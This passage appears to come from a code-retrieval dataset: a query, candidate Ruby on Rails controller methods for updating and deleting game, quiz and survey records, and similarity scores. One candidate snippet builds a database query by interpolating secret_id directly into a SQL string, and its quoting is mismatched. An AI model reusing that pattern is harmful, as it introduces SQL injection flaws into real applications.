"def update\n respond_to do |format|\n if @game.update(game_params)\n format.html { redirect_to @game, notice: 'Game was successfully updated.' }\n format.json { render :show, status: :ok, location: @game }\n else\n format.html { render :edit }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @game.update(game_params)\n format.html { redirect_to @game, notice: 'Game was successfully updated.' }\n format.json { render :show, status: :ok, location: @game }\n else\n format.html { render :edit }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @game.update(game_params)\n format.html { redirect_to @game, notice: 'Game was successfully updated.' }\n format.json { render :show, status: :ok, location: @game }\n else\n format.html { render :edit }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @game.update(game_params)\n format.html { redirect_to @game, notice: 'Game was successfully updated.' }\n format.json { render :show, status: :ok, location: @game }\n else\n format.html { render :edit }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @game.update(game_params)\n format.html { redirect_to @game, notice: 'Game was successfully updated.' }\n format.json { render :show, status: :ok, location: @game }\n else\n format.html { render :edit }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @game.update(game_params)\n format.html { redirect_to @game, notice: 'Game was successfully updated.' }\n format.json { render :show, status: :ok, location: @game }\n else\n format.html { render :edit }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @game.update(game_params)\n format.html { redirect_to @game, notice: 'Game was successfully updated.' }\n format.json { render :show, status: :ok, location: @game }\n else\n format.html { render :edit }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @game.update(game_params)\n format.html { redirect_to @game, notice: 'Game was successfully updated.' }\n format.json { render :show, status: :ok, location: @game }\n else\n format.html { render :edit }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @game.update(game_params)\n format.html { redirect_to games_url, notice: \"Game was successfully updated.\" }\n format.json { render :show, status: :ok, location: @game }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @game.update(game_params)\n sync_update @game\n format.html { redirect_to @game, notice: 'Game was successfully updated.' }\n format.json { render :show, status: :ok, location: @game }\n else\n format.html { render :edit }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @game_judge.update(game_judge_params)\n format.html { redirect_to @game_judge, notice: 'Game judge was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @game_judge.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @user_game.update(user_game_params)\n format.html { redirect_to @user_game, notice: 'User game was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @user_game.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @user_game.update(user_game_params)\n format.html { redirect_to @user_game, notice: 'User game was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @user_game.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @survey = Survey.find(params[:id])\n json = params[:survey]\n json[:questions] = JSON.parse(json[:questions])\n json[:questions].each_with_index do |question, idx|\n json[:questions][idx]['id'] = idx + 1\n end\n\n respond_to do |format|\n if @survey.update_attributes(json)\n format.html { redirect_to @survey, notice: 'Survey was successfully updated.' }\n format.json { render json: @survey }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @survey.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @admin_game.update(admin_game_params)\n format.html { redirect_to @admin_game, notice: 'Game was successfully updated.' }\n format.json { render :show, status: :ok, location: @admin_game }\n else\n format.html { render :edit }\n format.json { render json: @admin_game.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @games_leaderboard = Games::Leaderboard.find(params[:id])\n\n if @games_leaderboard.update(games_leaderboard_params)\n head :no_content\n else\n render json: @games_leaderboard.errors, status: :unprocessable_entity\n end\n end",
"def update\n @game = Game.where(\"secret_id='#{secret_id}\").first\n respond_to do |format|\n if game.update\n format.html\n format.json { render json: @game }\n end\n end\n end",
"def update\n respond_to do |format|\n if @game.update(game_params)\n format.html { redirect_to @game, notice: \"Game was successfully updated.\" }\n format.json { render :show, status: :ok, location: @game }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @boxscore = @game.boxscores.find(params[:id])\n \n\n respond_to do |format|\n if @boxscore.update_attributes(params[:boxscore])\n format.html { redirect_to game_boxscores_url(@game), notice: 'Boxscore was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @boxscore.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @qa = Qa.find(params[:id])\n\n respond_to do |format|\n if @qa.update_attributes(params[:qa])\n format.html { redirect_to @qa, notice: 'Qa was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @qa.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n byebug\n if @game.update(game_params)\n format.html { redirect_to @game, notice: 'Game was successfully updated.' }\n format.json { render :show, status: :ok, location: @game }\n else\n format.html { render :edit }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @games_from_result.update(games_from_result_params)\n format.html { redirect_to @games_from_result, notice: 'Games from result was successfully updated.' }\n format.json { render :show, status: :ok, location: @games_from_result }\n else\n format.html { render :edit }\n format.json { render json: @games_from_result.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n @game.update(game_old_params)\n listing_games\n format.js\n end\n end",
"def update\n respond_to do |format|\n if @howtoplaygame.update(howtoplaygame_params)\n format.html { redirect_to @howtoplaygame, notice: 'Howtoplaygame was successfully updated.' }\n format.json { render :show, status: :ok, location: @howtoplaygame }\n else\n format.html { render :edit }\n format.json { render json: @howtoplaygame.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n question = Question.find_by!(id: params[:id])\n if question\n question.name = params[:name]\n question.description = params[:description]\n question.user_id = params[:user_id]\n question.category_id = params[:category_id]\n question.zavrseno = params[:zavrseno]\n question.uposlenik_id = params[:uposlenik_id]\n question.save\n render json: question, status: 200 \n else\n render json: { errors: \"This link is invalid.\"}, status: 404\n end\n end",
"def update\n @video_game = VideoGame.find(params[:id])\n\n respond_to do |format|\n if @video_game.update_attributes(params[:video_game])\n format.html { redirect_to @video_game, notice: 'Video game was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @video_game.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patch\n headers = {\"If-Match\" => @version}\n response = @context.request :patch, \"#{@path}/#{@id}\", @data.to_json, headers\n @version += 1\n response\n # 'X-HTTP-Method-Override' => 'PATCH'\n end",
"def update\n #@jobapp = Jobapp.find(params[:id])\n\n respond_to do |format|\n if @jobapp.update_attributes(params[:jobapp])\n format.html { redirect_to @jobapp, notice: 'Jobapp was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @jobapp.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n game = Game.find(params[:game_id])\n participant = Participant.find(params[:participant_id])\n respond_to do |format|\n if participant.update(participant_params)\n format.html { redirect_to show_participant_path(game, participant) }\n format.json\n else\n format.html { render :edit }\n format.json\n end\n end\n end",
"def update\n\t\trespond_to do |format|\n\t\t\tif @game.update(game_params)\n\t\t\t\tformat.html { redirect_to @game, notice: 'Game was successfully updated.' }\n\t\t\t\tformat.json { head :no_content }\n\t\t\telse\n\t\t\t\tformat.html { render action: 'edit' }\n\t\t\t\tformat.json { render json: @game.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend",
"def update\n respond_to do |format|\n if @game_info.update(game_info_params)\n format.html { redirect_to @game_info, notice: 'Game info was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @game_info.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update options={}\n client.put(\"/#{id}\", options)\n end",
"def update\n @question = Question.find(params[:id])\n\n respond_to do |format|\n if @question.update_attributes(params[:question])\n format.html { redirect_to api_v1_question_path(@question), notice: 'Question was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if not @game.locked\n parse_game_params\n\n respond_to do |format|\n if @game.update(:id => params[:id])\n format.html { redirect_to @game, notice: 'Game was successfully updated.' }\n format.json { render :show, status: :ok, location: @game }\n else\n format.html { render :edit }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n else\n redirect_to root_path\n end\n end",
"def update\n respond_to do |format|\n if @testing_.update(testing__params)\n format.html { redirect_to @testing_, notice: 'Testing was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @testing_.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @quiz = Quiz.find(params[:id])\n \n respond_to do |format|\n if @quiz.update_attributes(params[:quiz])\n format.html { redirect_to @quiz, notice: 'Quiz was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @quiz.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @game.update(game_params)\n format.html { redirect_to games_path, notice: 'La partie a bien été éditée' }\n format.json { render :show, status: :ok, location: games_path }\n else\n format.html { render :edit }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end"
] |
[
"0.6742166",
"0.6504812",
"0.64587396",
"0.64483505",
"0.6415147",
"0.64147043",
"0.64145863",
"0.6413291",
"0.6412953",
"0.6412953",
"0.6412953",
"0.6412953",
"0.6412953",
"0.6412953",
"0.6412953",
"0.64125913",
"0.64105594",
"0.6401199",
"0.64005184",
"0.63832617",
"0.6371412",
"0.63633215",
"0.63546723",
"0.6335162",
"0.63246804",
"0.63246804",
"0.63246804",
"0.6317318",
"0.6306257",
"0.63039947",
"0.6303895",
"0.62574476",
"0.62536645",
"0.6247564",
"0.62379247",
"0.6230257",
"0.62264377",
"0.62260914",
"0.62250227",
"0.62198263",
"0.6210848",
"0.62105966",
"0.62094593",
"0.62015486",
"0.6179866",
"0.61749375",
"0.61583585",
"0.6155636",
"0.6149904",
"0.6149904",
"0.6149904",
"0.6149904",
"0.6149904",
"0.6149904",
"0.6149904",
"0.6149904",
"0.6149904",
"0.6149904",
"0.6149904",
"0.6149904",
"0.6149904",
"0.6149904",
"0.6149904",
"0.6149904",
"0.6149904",
"0.6149904",
"0.6149904",
"0.6149904",
"0.6149904",
"0.6149904",
"0.61494374",
"0.61489236",
"0.61488575",
"0.6144669",
"0.61424476",
"0.61424476",
"0.61386174",
"0.61346465",
"0.61213124",
"0.61082345",
"0.61055624",
"0.6100484",
"0.6092003",
"0.60812587",
"0.6077813",
"0.6074439",
"0.60695595",
"0.60644865",
"0.6051122",
"0.6044042",
"0.60400206",
"0.6035989",
"0.6024891",
"0.60238296",
"0.60211426",
"0.60200834",
"0.60107166",
"0.60099304",
"0.6008556",
"0.6004421"
] |
0.6962431
|
0
|
DELETE /qa_games/1 DELETE /qa_games/1.json
|
def destroy
@qa_game.destroy
respond_to do |format|
format.html { redirect_to qa_games_url, notice: 'Qa game was successfully destroyed.' }
format.json { head :no_content }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def destroy\n @game.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"def destroy\n # @game = Game.find(params[:id])\n # @game.destroy\n\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @game.destroy\n respond_to do |format|\n format.html { redirect_to contest_games_path }\n format.json { head :no_content }\n end\n end",
"def destroy\n @game = Game.get(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @game.destroy\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @game.destroy\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @game.destroy\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @game.destroy\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @game.destroy\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @game.destroy\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @game.destroy\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @game.destroy\n respond_to do |format|\n format.html { redirect_to dashboard_path }\n format.json { head :no_content }\n end\n end",
"def destroy\n @game = Game.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @game = Game.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @game = Game.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @game = Game.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @game = Game.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @game = Game.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @game = Game.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @game = Game.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @game = Game.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @game = Game.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @game = Game.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @game = Game.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @game = Game.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @game = Game.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @game.destroy\n respond_to do |format|\n format.html { redirect_to organization_games_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @game = current_user.games.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @game.destroy\n respond_to do |format|\n format.html { redirect_to games_path }\n # format.json { head :no_content }\n end\n end",
"def destroy\n @game_title.destroy\n respond_to do |format|\n format.html { redirect_to game_titles_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @old_game = OldGame.find(params[:id])\n @old_game.destroy\n\n respond_to do |format|\n format.html { redirect_to old_games_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n game = @goal.game\n @goal.destroy\n respond_to do |format|\n format.html { redirect_to game_path(game) }\n format.json { head :no_content }\n end\n end",
"def delete\n client.delete(\"/#{id}\")\n end",
"def delete_aos_version(args = {}) \n delete(\"/aosversions.json/#{args[:aosVersionId]}\", args)\nend",
"def destroy\n @league_game.destroy\n respond_to do |format|\n format.html { redirect_to league_games_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n id = params[:id].to_i\n UserGame.find(id)\n @user_game.destroy\n respond_to do |format|\n format.html { redirect_to user_games_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @player_game = PlayerGame.find(params[:id])\n @player_game.destroy\n\n respond_to do |format|\n format.html { redirect_to player_games_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n puts @game.date.to_s\n @game.destroy\n respond_to do |format|\n format.html { redirect_to games_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @espn_game.destroy\n respond_to do |format|\n format.html { redirect_to espn_games_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:user_id])\n @game = @user.games.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to user_games_url(@user) }\n format.json { head :ok }\n end\n end",
"def destroy\n @gamesofweek.destroy\n respond_to do |format|\n format.html { redirect_to gamesofweeks_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @games_from_result.destroy\n respond_to do |format|\n format.html { redirect_to root_url, notice: 'Games from result was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @gameplay = Gameplay.find(params[:id])\n @gameplay.destroy\n\n respond_to do |format|\n format.html { redirect_to gameplays_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @admin_game.destroy\n respond_to do |format|\n format.html { redirect_to admin_games_url, notice: 'Game was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @bestgame = Bestgame.find(params[:id])\n @bestgame.destroy\n\n respond_to do |format|\n format.html { redirect_to bestgames_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @games_of_week.destroy\n respond_to do |format|\n format.html { redirect_to games_of_weeks_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @game.destroy\n respond_to do |format|\n format.html { redirect_to games_url, notice: 'El juego ha sido correctamente eliminado.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @game.destroy\n respond_to do |format|\n format.html { redirect_to user_path }\n format.json { head :no_content }\n end\n end",
"def destroy\n @game_set.destroy\n respond_to do |format|\n format.html { redirect_to game_sets_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @ai_contest = AiContest.find(params[:id])\n @ai_contest.destroy\n\n respond_to do |format|\n format.html { redirect_to ai_contests_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @game_judge.destroy\n respond_to do |format|\n format.html { redirect_to game_judges_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @game = Game.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to(games_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @game = Game.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to(games_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @game = Game.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to(games_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @game = Game.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to(games_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @game = Game.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to(games_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @game = Game.find(params[:id])\n @game.destroy\n\n respond_to do |format|\n format.html { redirect_to(games_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n if @game.destroy\n render json: { success: true, game: @game}\n end\n end",
"def destroy\n @game_info.destroy\n respond_to do |format|\n format.html { redirect_to game_infos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @game.destroy\n respond_to do |format|\n format.html { redirect_to games_url, notice: 'Game was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @game.destroy\n respond_to do |format|\n format.html { redirect_to games_url, notice: 'Game was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @game.destroy\n respond_to do |format|\n format.html { redirect_to games_url, notice: 'Game was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @game.destroy\n respond_to do |format|\n format.html { redirect_to games_url, notice: 'Game was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @game.destroy\n respond_to do |format|\n format.html { redirect_to games_url, notice: 'Game was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @game.destroy\n respond_to do |format|\n format.html { redirect_to games_url, notice: 'Game was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @game.destroy\n respond_to do |format|\n format.html { redirect_to games_url, notice: 'Game was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @game.destroy\n respond_to do |format|\n format.html { redirect_to games_url, notice: 'Game was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @game.destroy\n respond_to do |format|\n format.html { redirect_to games_url, notice: 'Game was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @game.destroy\n respond_to do |format|\n format.html { redirect_to games_url, notice: 'Game was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @game.destroy\n respond_to do |format|\n format.html { redirect_to games_url, notice: 'Game was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @game.destroy\n respond_to do |format|\n format.html { redirect_to games_url, notice: 'Game was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @game.destroy\n respond_to do |format|\n format.html { redirect_to games_url, notice: 'Game was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @game.destroy\n respond_to do |format|\n format.html { redirect_to games_url, notice: 'Game was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @game.destroy\n respond_to do |format|\n format.html { redirect_to games_url, notice: 'Game was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @game.destroy\n respond_to do |format|\n format.html { redirect_to games_url, notice: 'Game was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @game.destroy\n respond_to do |format|\n format.html { redirect_to games_url, notice: 'Game was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @game.destroy\n respond_to do |format|\n format.html { redirect_to games_url, notice: 'Game was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @game.destroy\n respond_to do |format|\n format.html { redirect_to games_url, notice: 'Game was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @game.destroy\n respond_to do |format|\n format.html { redirect_to games_url, notice: 'Game was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @game.destroy\n respond_to do |format|\n format.html { redirect_to games_url, notice: 'Game was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @game.destroy\n respond_to do |format|\n format.html { redirect_to games_url, notice: 'Game was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @game.destroy\n respond_to do |format|\n format.html { redirect_to games_url, notice: 'Game was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @game.destroy\n respond_to do |format|\n format.html { redirect_to games_url, notice: 'Game was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @game.destroy\n respond_to do |format|\n format.html { redirect_to games_url, notice: 'Game was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @game.destroy\n respond_to do |format|\n format.html { redirect_to games_url, notice: 'Game was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @game.destroy\n respond_to do |format|\n format.html { redirect_to games_url, notice: 'Game was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @game.destroy\n respond_to do |format|\n format.html { redirect_to games_url, notice: 'Game was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @game.destroy\n respond_to do |format|\n format.html { redirect_to games_url, notice: \"Game was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @game.destroy\n respond_to do |format|\n format.html { redirect_to games_url, notice: \"Game was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @game_stat = GameStat.find(params[:id])\n @game_stat.destroy\n\n respond_to do |format|\n format.html { redirect_to :back }\n format.json { head :no_content }\n end\n end",
"def destroy\n @game.destroy\n respond_to do |format|\n format.html { redirect_to admin_users_path(@admin), notice: 'Game was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @video_game = VideoGame.find(params[:id])\n @video_game.destroy\n\n respond_to do |format|\n format.html { redirect_to video_games_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @howtoplaygame.destroy\n respond_to do |format|\n format.html { redirect_to howtoplaygames_url, notice: 'Howtoplaygame was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @quiz.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"def destroy\n @drinking_game.destroy\n respond_to do |format|\n format.html { redirect_to drinking_games_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n game = Game.find_by_id(params[:id])\n game.destroy\n end",
"def destroy\n @game = Game.find(params[:game_id])\n @play = @game.plays.find(params[:id])\n @play.destroy\n\n\n respond_to do |format|\n format.html { redirect_to game_path(@game), notice: 'Play was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n game = Game.find(params[:game_id])\n @player_game = game.player_games.find(params[:id])\n @player_game.destroy\n\n respond_to do |format|\n format.html { redirect_to(player_games_path, :notice => 'Player game was successfully removed.') }\n format.xml { head :ok }\n format.json { render :json => @player_game}\n end\n end",
"def destroy\n @platformgame.destroy\n respond_to do |format|\n format.html { redirect_to platformgames_url, notice: 'Platformgame was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @game.reset\n @game.destroy\n respond_to do |format|\n format.html { redirect_to games_url, notice: 'La partie a bien été supprimée' }\n format.json { head :no_content }\n end\n end"
] |
[
"0.7260279",
"0.7142512",
"0.71007144",
"0.7076878",
"0.7058189",
"0.7058189",
"0.7058189",
"0.7058189",
"0.7058189",
"0.7058189",
"0.7058189",
"0.7055134",
"0.70395815",
"0.70395815",
"0.70395815",
"0.70395815",
"0.70395815",
"0.70395815",
"0.70395815",
"0.70395815",
"0.70395815",
"0.70395815",
"0.70395815",
"0.70395815",
"0.7029422",
"0.7029422",
"0.70161784",
"0.70049095",
"0.6938063",
"0.693179",
"0.6925831",
"0.6917303",
"0.6911455",
"0.68828773",
"0.6882835",
"0.6870225",
"0.686294",
"0.6859162",
"0.6849447",
"0.6830544",
"0.68196046",
"0.6816859",
"0.68158484",
"0.67999446",
"0.67754555",
"0.676869",
"0.6764161",
"0.6757716",
"0.67435324",
"0.67379916",
"0.6735505",
"0.6733467",
"0.6733467",
"0.6733467",
"0.6733467",
"0.6733467",
"0.6733467",
"0.6727594",
"0.67271036",
"0.6725107",
"0.6725107",
"0.6725107",
"0.6725107",
"0.6725107",
"0.6725107",
"0.6725107",
"0.6725107",
"0.6725107",
"0.6725107",
"0.6725107",
"0.6725107",
"0.6725107",
"0.6725107",
"0.6725107",
"0.6725107",
"0.6725107",
"0.6725107",
"0.6725107",
"0.6725107",
"0.6725107",
"0.6725107",
"0.6725107",
"0.6725107",
"0.6725107",
"0.6725107",
"0.6725107",
"0.67246723",
"0.6722725",
"0.6722725",
"0.6721054",
"0.671583",
"0.66884875",
"0.66884106",
"0.66858953",
"0.6675405",
"0.6674032",
"0.66694325",
"0.6666364",
"0.6662496",
"0.66534567"
] |
0.73978645
|
0
|
Use callbacks to share common setup or constraints between actions.
|
def set_qa_game
@qa_game = QaGame.find(params[:id])
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"def action_hook; end",
"def run_actions; end",
"def define_action_hook; end",
"def actions; end",
"def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end",
"def add_actions; end",
"def callbacks; end",
"def callbacks; end",
"def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end",
"def define_action_helpers; end",
"def post_setup\n end",
"def action_methods; end",
"def action_methods; end",
"def action_methods; end",
"def before_setup; end",
"def action_run\n end",
"def execute(setup)\n @action.call(setup)\n end",
"def define_action_helpers?; end",
"def set_actions\n actions :all\n end",
"def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end",
"def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end",
"def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end",
